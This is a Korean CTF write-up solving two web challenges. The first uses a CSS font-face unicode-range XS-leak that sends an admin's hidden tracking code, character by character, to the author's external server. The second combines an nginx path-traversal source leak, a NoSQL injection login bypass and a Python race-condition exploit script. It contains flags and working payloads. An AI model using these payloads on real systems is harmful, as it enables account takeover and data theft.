문 제

분 야

점 수

2.2 Vaccine Paper

WEB

?

적국의 내부 연구자료 공유 시스템에 접근하였다.

관리자 키를 이용하여 치료제 정보를 탈취하라.

http://3.35.121.198:40831

풀이 절차

  1. 주석으로 숨겨진 vaccine.php 확인
  2. upload <link> 태그를 이용하여 내서버의 xs-leak 스타일을 적용
  3. paper.php에 적용된 csp style-src font-src *임을 이용하여 font-face를 이용한 xs-leak 공격
  4. 내 서버로 전송된 문자들을 정렬하여 vaccine.php에 전송

정 답

flag{Y0u_5uCc3sfu11y_7R4CK_adM1n_4nd_G3t_Vaccine}

풀 이 과 정

회원가입하고 로그인하면 위와같은 화면이 뜬다.

Upload Paper 메뉴에선 아무 제약없이 input을 업로드할 수 있고, 이를 MyPage에서 보이는 업로드된 게시글의 링크를 통해 들어가면 내가 넣은 input이 그대로 출력된다.



--
-------------------------------------------------------------------------------------------- 

Content-Security-Policy: default-src 'none'; script-src 'nonce-2053560439'; style-src *; font-src *; base-uri 'none';


----------------------------------------------------------------------------------------------

 

하지만 csp가 걸려있어 script nonce를 맞춰야하고, style font는 제약없이 사용이 가능하다.



내가 올린글은 약간의 pow를 맞추면 어드민에게 전송되서

headlesschrome/77.0.3835.0 으로 내 글에 접속하는것을 알 수 있다.

 



 

처음엔 script nonce leak 문제인줄 알고 삽질을 많이 했는데 알고보니 메인페이지 주석에 /vaccine.php가 있었다 ㅡㅡㅋㅋ;;;;;

 

vaccine.php는 약간의 pow를 주면 tracking code를 검사하여 admin의 것이면 vaccine을 주는것이다. 이걸 몰라서 삽질을 좀 했는데..

 

tracking code는 이처럼 박혀있는데 css에 의해 display:none으로 숨겨져있다.

 

하지만 우리는 마음대로 stylesheet를 불러올 수 있으며, font 외부요청이 자유롭게 가능하다(style-src *; font-src *;)

 

따라서 font-face를 이용한 xs leak을 사용한다면 쉽게 풀이가 가능하다.

(reference : http://vulnerabledoma.in/poc_unicode-range2.html)

 

-----------------------------------------------------------------------------------------------

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:0');

           unicode-range:U+0030;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:1');

           unicode-range:U+0031;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:2');

           unicode-range:U+0032;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:3');

           unicode-range:U+0033;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:4');

           unicode-range:U+0034;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:5');

           unicode-range:U+0035;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:6');

           unicode-range:U+0036;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:7');

           unicode-range:U+0037;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:8');

           unicode-range:U+0038;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:9');

           unicode-range:U+0039;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:A');

           unicode-range:U+0041;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:B');

           unicode-range:U+0042;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:C');

           unicode-range:U+0043;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:D');

           unicode-range:U+0044;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:E');

           unicode-range:U+0045;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:F');

           unicode-range:U+0046;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:G');

           unicode-range:U+0047;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:H');

           unicode-range:U+0048;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:I');

           unicode-range:U+0049;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:J');

           unicode-range:U+004A;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:K');

           unicode-range:U+004B;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:L');

           unicode-range:U+004C;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:M');

           unicode-range:U+004D;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:N');

           unicode-range:U+004E;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:O');

           unicode-range:U+004F;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:P');

           unicode-range:U+0050;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:Q');

           unicode-range:U+0051;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:R');

           unicode-range:U+0052;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:S');

           unicode-range:U+0053;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:T');

           unicode-range:U+0054;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:U');

           unicode-range:U+0055;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:V');

           unicode-range:U+0056;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:W');

           unicode-range:U+0057;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:X');

           unicode-range:U+0058;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:Y');

           unicode-range:U+0059;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:Z');

           unicode-range:U+005A;

}

 

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:a');

           unicode-range:U+0061;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:b');

           unicode-range:U+0062;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:c');

           unicode-range:U+0063;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:d');

           unicode-range:U+0064;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:e');

           unicode-range:U+0065;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:f');

           unicode-range:U+0066;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:g');

           unicode-range:U+0067;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:h');

           unicode-range:U+0068;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:i');

           unicode-range:U+0069;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:j');

           unicode-range:U+006A;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:k');

           unicode-range:U+006B;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:l');

           unicode-range:U+006C;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:m');

           unicode-range:U+006D;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:n');

           unicode-range:U+006E;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:o');

           unicode-range:U+006F;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:p');

           unicode-range:U+0070;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:q');

           unicode-range:U+0071;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:r');

           unicode-range:U+0072;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:s');

           unicode-range:U+0073;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:t');

           unicode-range:U+0074;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:u');

           unicode-range:U+0075;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:v');

           unicode-range:U+0076;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:w');

           unicode-range:U+0077;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:x');

           unicode-range:U+0078;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:y');

           unicode-range:U+0079;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:z');

           unicode-range:U+007A;

}

 

.tracker-hidden{

        display:block!important;

           font-family:attack;

}


---------------------------------------------------------------------------------------------

 

tracker-hidden display:none으로 되어있기 때문에 visible하게 바꾸어 font-family가 적용되도록 한 후, unicode-range를 이용하여 [A-Za-z0-9] 범위의 글자가 있을 시 해당 font-family를 통해 src:url()로 설정된 내 도메인으로 font 요청을 보내 어떤 글자가 존재하는지 알 수 있다.

 

이를 http://ar9ang3.com/aa.css 와 같이 css파일로 내 서버에 작성한 후,

<link rel="stylesheet" href="http://ar9ang3.com/aa.css">

upload할때 넣어주면 관리자가 내 글을 읽을때 작성한 css가 적용되어 xs-leak이 작동할 것이다.

실제로 내 서버로 한글자씩 전송됐으며,

 

 

Privacy Policy: In order to protect information of NVL, to access every work will be tracked.

To track your information, 32-byte secret code that only contains [0-9A-Za-z] will be used.

Each letters of secret code are in increasing order of ASCII code.

 

 

라고 메인페이지에 나와있었기 때문에 ascii order로 중복없이 되어있을것이기 때문에 이를 모두 모아 정렬하면,

 

 

admin tracker code '012378IJLMNQSWXYadeghilnopqrtuyz' 이다.

 

이를 vaccine.php에 담아 전송하면

플래그를 뿌려준다

 

 

 

참고) pow 코드

 
-----------------------------------------------------------------------------------------------

from arang import *

 

for i in range(0,0xfffffff):

           if i % 100000 == 0:

                     print(f'[+] doing {i}')

           s = hexencode(sha1(str(i)))

           if s[:6] == b'0b83ff':

                     print(i)

                     break

 

-----------------------------------------------------------------------------------------------

문 제

분 야

점 수

1.3 Intranet

web

?

노출된 적국의 생화학 연구소 내부 사이트에서, 관리자 권한을 탈취하여 내부 시스템을 탐색하라.

http://3.35.40.133

풀이 절차

  1. nginx route 설정 오류를 이용한 server source code leak
  2. nosql injection을 이용한 member권한 획득
  3. 기능 확인 후 race condition을 이용하여 admin 권한 획득
  4. 게시판의 member level=2 게시글 조회 시 플래그 획득

정 답

flag{This_is_top_secret_dont_you_agree}

풀 이 과 정

sign up / sign in 페이지가 있고

회원가입후 로그인하고 mypage에 가보면 perm Guest인것을 확인할 수 있다.

이때 /api/static/{:userid} 를 요청해오는데, 이와 서버가 nginx임을 미루어 보아 잘못된 route설정으로 인하여 file leak이 될 수도 있다는것을 가정해볼 수 있다.

이처럼 /api/static../User.js 를 요청하면 nginx에서의 잘못된 route설정으로 인하여 static디렉터리를 벗어나 본래 접근할 수 없는 파일에 접근하게 되어 서버단 코드를 획득할 수 있다.

----------------------------------------------------------------------------------------------

const signin = (req, res) => {

    User

        .findOne({

            userid: req.body.userid,

            password: req.body.password

        })

        .then(user => {

            if (!user) {

                res.status(406);

                res.send();

            } else {

                res.status(200);

                control

                    .sign({ id: user.userid })

                    .then(tok => {

                        res.send(JSON.stringify({

                            username: user.userid,

                            token: tok

                        }))}

                    );

            }})

        .catch(err => {

            res.status(500);

            res.send(JSON.stringify({ reason: { html: err } }));

        });

};


----------------------------------------------------------------------------------------------

서버단 코드 중 로그인 부분 코드를 보면 mongo db Model .findOne 메서드를 이용하여 사용자로부터 전달받은 id password key로 검색하는 것을 확인할 수 있다.

 

하지만 findOne 메서드를 이용하는점 + 서버의 구성이 app.use( bodyParser.urlencoded({ extended: true }) ); 로 이루어져 있기 때문에 사용자는 Object 객체를 직접 전달할 수 있다. 이로 인하여 nosql injection이 발생하게 되어

{"userid":"admin","password":{"$gt":""}} 와같이 요청하게 되면 admin의 패스워드를 모르더라도 로그인이 가능해진다.

 

nosql injection을 통해 admin의 토큰을 알아냈으니 local storage의 토큰값을 admin토큰으로 바꾸면 이와같이 admin으로 로그인된것을 확인할수있다.

 

 

하지만 해당 문제에서 진짜 어드민은 level=2 이상이 되어야한다.



현재 접속한 어드민은 level=1(member)로써 board list에서 조회할 수 있는 게시글은 자신의 레벨보다 낮은 레벨의 게시글만 조회할 수 있다. 따라서 문제의 목적에 따라 어드민 레벨을 획득하여야 한다.

 

이 상황에서 auth 동작이 다소 이상하게 되어있는데, 만약 올바른 division_number를 입력할 시 현재 접속한 계정의 level 0일경우 해당 계정의 level 1 올려주는 동작을 한다.

 

division_number는 알려져 있지 않지만 이또한 마찬가지로 nosql injection을 통해 레벨을 올릴 수 있다.

 

또한 해당 코드가 Division 모델에서 findOne 함수를 이용해 값을 찾고 updateOne을 이용해 update하는것으로 미루어보아 빠르게 해당 요청을 두번 전송하면 race condition이 발생하여 level이 두번 증가될 수 있을 가능성을 확인하였다.


---------------------------------------------------------------------------------------------- 

#-*- coding:utf-8 -*-

import requests

import sys

import time

import re

import string

import datetime

import json, os, sys, html, zlib

from arang import *

from concurrent.futures import ThreadPoolExecutor

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

 

packet='''POST http://3.35.40.133/api/signup HTTP/1.1

Host: 3.35.40.133

Connection: keep-alive

Content-Length: 42

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36

Content-Type: application/json;charset=UTF-8

Origin: http://3.35.40.133

Referer: http://3.35.40.133/signup

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

 

'''

 

s = requests.session()

 

def raceCondition(args):

    global pp,s

    u = 'http://3.35.40.133/api/auth'   

    data = {"division_number":{"$gt":""}}

    r = s.post(u, data=json.dumps(data), headers=pp.headers)

    print('--------------')

    print(r.content)

    print('--------------')

 

   

 

for i in range(1,1000):

    # signup   

    pp = parsePacket(packet.format(i))

    pp.proxies="127.0.0.1:8888"

    data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"}

    r = s.post(pp.url, data=json.dumps(data), headers=pp.headers)

    if r.status_code==200:

        # signin

        u = "http://3.35.40.133/api/signin"

        data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}}

        r = s.post(u, data=json.dumps(data), headers=pp.headers)

        if r.status_code==200:

            rj = json.loads(r.content)

            pp.headers['x-access-token'] = rj['token']

           

           

           

            with ThreadPoolExecutor(3) as pool:

                t=[1,2,3,4,5]

                ret = [x for x in pool.map(raceCondition,t)]


---------------------------------------------------------------------------------------------- 

위와같은 race condition을 발생시키는 익스플로잇 코드를 통해 level 2번 증가시킬 수 있다

실제로 auth 요청이 2번 된것을 확인하였고, 그 계정으로 로그인 시

admin으로 변한것을 확인할 수 있다.

플래그 획득

+ Recent posts